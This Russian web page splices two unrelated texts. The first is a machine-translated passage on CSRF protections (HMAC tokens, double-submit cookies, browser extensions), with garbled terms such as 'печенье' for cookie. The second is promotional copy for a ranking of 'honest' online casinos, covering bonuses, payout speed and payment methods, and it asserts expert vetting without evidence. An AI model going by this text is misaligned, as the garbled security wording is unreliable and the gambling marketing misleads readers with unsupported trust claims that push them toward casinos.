    Csrf_token = HMAC(session_token, application_secret)

    Маркер печенье CS не должно иметь HTTPOnly флага, так как он предназначен для чтения с помощью JavaScript дизайна.

    Этот метод реализуется многими современными рамками, такими как Джанго и AngularJS . Поскольку маркер остается постоянной в течение всего сеанса пользователя, он хорошо работает с AJAX - приложений, но не обеспечивает последовательность событий в веб - приложения.

    Защита обеспечивается с помощью этого метода может быть сорвана, если целевой веб - сайт отключает свою политику того же происхождение , используя один из следующих методов:

    • Разрешительный Access-Control-Allow-Origin заголовок (с звездочкой аргумента)
    • clientaccesspolicy.xml файл предоставления непреднамеренного доступа к Silverlight управления
    • crossdomain.xml файл предоставления непреднамеренного доступа к флэш - роликов
    Двухместный Отправить Cookie

    Аналогично подход печенье к-заголовку, но без участия JavaScript, сайт может установить маркер CSRF как печенье, а также вставить его в скрытом поле в каждой HTML форме, отправляемый клиент. Когда форма отправлена, сайт может проверить, что маркер печенья соответствует форме маркеров. Политика общего происхождения препятствует взломщику от чтения или установок куков на целевом домене, поэтому они не могут поставить правильный маркер в их созданном виде.

    Преимущество этого метода над рисунком синхронизатора является то, что маркер не должен храниться на сервере.

    Клиентские гарантии

    Расширения браузера, такие как RequestPolicy (для Mozilla Firefox) или Umatrix (как для Firefox и Google Chrome / Chromium) может предотвратить CSRF, предоставляя политику по умолчанию, отрицаю для запросов кросс-сайта. Тем не менее, это может существенно помешать нормальной работе многих сайтов. Расширение CsFire (также для Firefox) может смягчить воздействие CSRF с меньшим воздействием на обычном просмотре, путем удаления информации об аутентификации от запросов кросс-сайта.

    Поиск надежных и честных онлайн казино требует большого количества свободного времени, особенно когда речь идет о новичках. Необходимо оценить прозрачность работы игрового клуба, репутацию в сети, отзывы других пользователей, скорость выплат и множество других факторов деятельности. Чтобы избавить игроков от подобной участи, мы составили рейтинг казино , которые прошли тщательную проверку и подтвердили собственную честность и хорошую отдачу от игровых автоматов.

    Наш рейтинг лучших казино

    Больше не нужно тратить личное время на проверку надежности заведения. Опытные аналитики, специализирующиеся на азартных играх и проводящие десятки часов в казино ежемесячно, провели собственную объективную оценку работы игровых клубов. Они проанализировали сотни заведений, чтобы в конечном результате предложить пользователям лучшие платформы, представленные в интернете.

    Изначальный список клубов был достаточно большой, но в процессе анализа отпадали сомнительные и ненадежные заведения. К примеру, наличие поддельной лицензии, отсутствие сертификатов на слоты, подмена сервера в игровом автомате и многое другое служит предостережением для экспертов. Даже один фактор, позволяющий усомниться в честности казино, является поводом для исключения из рейтинга.

    Помимо поверхностного анализа игровых платформ, выполняется проверка сведений о заведениях в интернете. Репутация в сети, отзывы действующих и бывших игроков, наличие конфликтных ситуаций, скандалов с казино и способы решения проблем от создателей учитываются при анализе. Особенное внимание уделяется молодым клубам с опытом работы до 1-2 лет.

    Как составляется рейтинг казино и кто туда попадает?

    Для создания рейтинга лицензионных казино мы привлекаем опытных гемблеров и аналитиков с опытом работы в индустрии свыше 10 лет. Благодаря знаниям они с легкостью отсеивают мошеннические клубы, а затем проводят тщательный анализ оставшихся заведений. В результате получается небольшой список надежных казино, где можно смело играть, не опасаясь за честность результатов и выплаты выигрышей.

    • наличие лицензии от регулятора по азартным играм и выбранная юрисдикция для регистрации;
    • безопасность платформы, что гарантирует конфиденциальность данных и платежной информации;
    • выбор лицензионного софта от надежных провайдеров, в работу которых невозможно вмешаться;
    • наличие русскоязычной версии для большего удобства пользователей из России и стран СНГ;
    • служба поддержки, включая график ее работы, скорость ответов, качество решения проблем;
    • вывод денег без дополнительных задержек или верификаций, а также варианты для получения денег и скорость обработки операций;
    • бонусные программы для новых и регулярных пользователей, наличие турниров, лотерей, периодических акций;
    • платежные системы, влияющие на удобство клиентов пополнять счет и выводить выигрыши.

    Это лишь небольшой перечень актуальных требований, которые оцениваются экспертами. Каждый критерий получает собственный коэффициент важности учитывающийся при суммировании конечного результата.

    Что такое лицензионное казино?

    Рейтинг казино , свидетельствующий о честности и прозрачности работы игровых платформ, может состоять исключительно из заведений с действующими лицензиями на деятельность. Легальные клубы обязаны проходить проверку регуляторов и соответствовать всех им правилам, чтобы получить разрешение.

    Одного упоминания о наличии лицензии на сайте недостаточно. Эксперты понимают, что мошенники могут использовать логотипы для обмана наивных пользователей, поэтому самостоятельно проводят анализ сведений. Для этого заходят на официальный сайт регулятора и с помощью номера документа или названия юридического лица подтверждают информацию. Если данные о лицензии отсутствуют, значит это подделка.

    Также аналитики используют технический анализ для проверки лицензионного софта. С помощью инструментов для разработчиков они получают доступ к информации о сервере передачи данных. Если казино использует официальный портал провайдера ПО, тогда софт честный и легальный. Это означает, что в его работу нельзя вмешаться и подкрутить итоговые результаты.

    Как определяется честность казино?

    Самостоятельно оценить честность игрового клуба достаточно сложно, что связано с количеством доступных ресурсов и знаний. Перед включением заведений в рейтинг честных казино , аналитики проводят тщательную проверку множества факторов:

    • регионы, откуда принимаются игроки, поскольку запретные юрисдикции говорят о многом;
    • лимиты на вывод, ограничивающие разовые транзакции, а также суточную, еженедельные и месячную сумму операций;
    • наличие сведений об KYC и AML, что свидетельствует о соответствии требованиям законодательства о честности и легальности происхождения денег;
    • репутация, подтверждающая честность и надежность работы клуба и отсутствие громких скандалов или проблем;
    • длительность работы, позволяющая в полной мере оценить историю онлайн ресурса, включая все преимущества и недостатки;
    • наличие регулятора и соответствие его правилам, что увеличивает шансы на справедливость деятельности.

    Лицензия и регулятор - достаточно важный критерий, но это не дает 100% гарантию честности. Только клубы, которые позволили игрокам получить крупные выигрыши и джекпоты, отдали подарки за лотереи и турниры, могут рассчитывать на подобное звание.

    Разновидности игровых автоматов

    Количество слотов, автоматов и других видов азартных развлечений многое говорит о заведении. Некоторые клубы сотрудничают только с несколькими провайдерами софта, но получают от них популярных и новые предложения игр, а другие - расширяют сеть партнерских соглашений и приглашают огромное количество брендов к сотрудничеству. Чем больше автоматов представлено на игровой платформе, тем легче клиенту выбрать понравившийся слот.

    Но рейтинг лицензионных казино учитывает не только разнообразие игр, но и их качество. Надежные игровые заведения используют исключительно лицензионный софт, который прошел проверку на честность и безопасность. Подобные автоматы позволяют рассчитывать на отдачу вплоть до 98%, причем в их работу нельзя вмешаться и подкрутить алгоритм генерации результатов.

    Если говорить откровенно, все сайты нацелены на получение прибыли. Даже в случае выигрыша джекпота одним из игроков, в долгосрочной перспективе заведение остается в плюсе. Но только честные клубы позволяют пользователям получить крупный куш и вывести его на реальный счет. Это и отличает лицензионные онлайн казино от мошеннических проектов.

    Бонусная политика

    Создать рейтинг казино без учета бонусной политики невозможно. Все игровые клубы используют акции и подарки, чтобы привлекать новых и удерживать действующих клиентов. Но часть заведений поступает достаточно хитро, создавая скрытые условия отыгрыша или начислений, устанавливая нереальные условия вейджеров в пределах от x60-100, которые практически нереально выполнить.

    Стандартный набор поощрений состоит из следующих категорий:

  • Бездепозитный бонус для приветствия новых клиентов - начисляется за подтверждения адреса электронной почты и номера телефона. В качестве награды используют бесплатные деньги или фриспины на автоматы с обязательным условием отыгрыша.
  • Регистрационный подарок - фриспины или умножители суммы пополнения счета на 1-5 депозитов с момента создания личного профиля. Точный размер бонуса и максимальные лимиты устанавливаются индивидуально каждым клубом.
  • Программа лояльности - различные системы статусов пользователей, которые влияют на размер еженедельного кэшбэка, наличие персональных условий обслуживания, индивидуальных подарков, выгодного курса обмена внутренней валюты на деньги и многое другое.
  • Промокоды - периодические акции от игровых клубов, которые раздают подарочные сертификаты на фриспины, бездепы или умножители счета для всех желающих.
  • Русскоязычные казино

    Составляя рейтинг лучших казино 2020 года , учитывается наличие русского языка на платформе. Русскоязычный интерфейс позволяет пользователям из России, Беларуси, Украины и стран СНГ без проблем разобраться с регистрацией, входом, пополнением счета и другими особенностями платформы. Также это подтверждает, что заведение ориентировано на русскоговорящих пользователей, предлагая им уникальные бонусы и поддержку.

    Во внимание берется работа службы поддержки. Большинство азартных клубов оказывают помощь клиентам исключительно на английском языке, что затрудняет процесс общения. Нужно использовать переводчик или обращаться к знающим людям, чтобы составить запрос и понять ответ поддержки. Поэтому в рейтинг входят только те онлайн клубы, которые консультируют клиентов в чатах поддержки и по телефону на русском языке.

    Русскоязычный интерфейс в казино позволят без дополнительных усилий разобраться с пользовательскими правилами платформы, изучить бонусные предложения и особенности их начислений, отыгрыша, принять участие в турнирах и лотереях без каких-либо сомнений в правильности действий.

    Казино с быстрым выводом денег

    Особое внимание уделяется скорости выплаты в онлайн казино. Одни клубы предлагают вывод средств на банковские карты и электронные кошельки в течение нескольких часов, а для VIP клиентов обрабатывают запросы мгновенно. Другие используют ручную обработку заявок в рабочие дни по специальному графику, поэтому выплаты могут задерживаться до 1-3 рабочих дней с момента оформления заявки. Чтобы избавить пользователей от длительного ожидания, создан рейтинг казино с быстрым выводом .

    Он состоит исключительно из тех заведений, которые оперативно рассматривают все заявки и не создают препятствий для получения денег. Учитывается не только скорость переводов, но и отсутствие проблем при запросе крупных выплат или переводов денег после выигрыша джекпота, большого куша. Только честные заведения могут гарантировать справедливость выплат и отсутствие проблем с платежами.

    Также проводится анализ доступных платежных систем для депозитов и запроса денег. Стандартные сайты поддерживают минимальное количество способов, но прогрессивные клубы постоянно анализируют тренды, чтобы интегрировать новые технические решения.

    Основные платежные системы в онлайн казино:

    • банковские карты МИР, MasterCard, Visa;
    • электронные кошельки QIWI, Yandex, Webmoney, Neteller, Skrill и другие;
    • мобильные платежи Билайн, МегаФон, МТС, TELE2;
    • российский интернет банкинг;
    • популярные криптовалюты, включая Bitcoin, Ethereum, Litecoin.
    Служба технической поддержки пользователей

    Важный фактор, который учитывался для того, чтобы создать рейтинг честных казино - наличие службы поддержки клиентов и качество его работы. Надежные заведения заботятся о собственной клиентской базе, поэтому организовывают специальные телефонные линии, а также онлайн чаты для оперативного ответа на вопросы пользователей и решения их проблем.

    Для анализа поддержки аналитики использовали телефонные линии, живые чаты и почтовые контакты. В разное время суток сотрудникам сайта поступали различные вопросы или просьбы разобраться с техническими проблемами. После этого проводилась оценка качества их работы, которые включала такие факторы:

    • скорость предоставления ответов;
    • решает ли консультант проблему и как много времени на это ушло;
    • грамотность ответов и наличие русскоязычных сотрудников в поддержке.

    Если в казино не представлены русскоязычные операторы, рекомендуем использовать онлайн переводчик от Google для перевода вопросов и ответов консультантов.

    Выводы

    Перед регистрацией в онлайн клубе нужно проводить анализ надежности, прозрачности его работы, а также проверять репутацию и отзывы в сети. Вместо этого мы предлагаем использовать рейтинг честных казино , составленный опытными гемблерами. С помощью собственного опыта они забраковали десятки подозрительных игровых клубов, оставив в списке лучшие заведения 2020 года.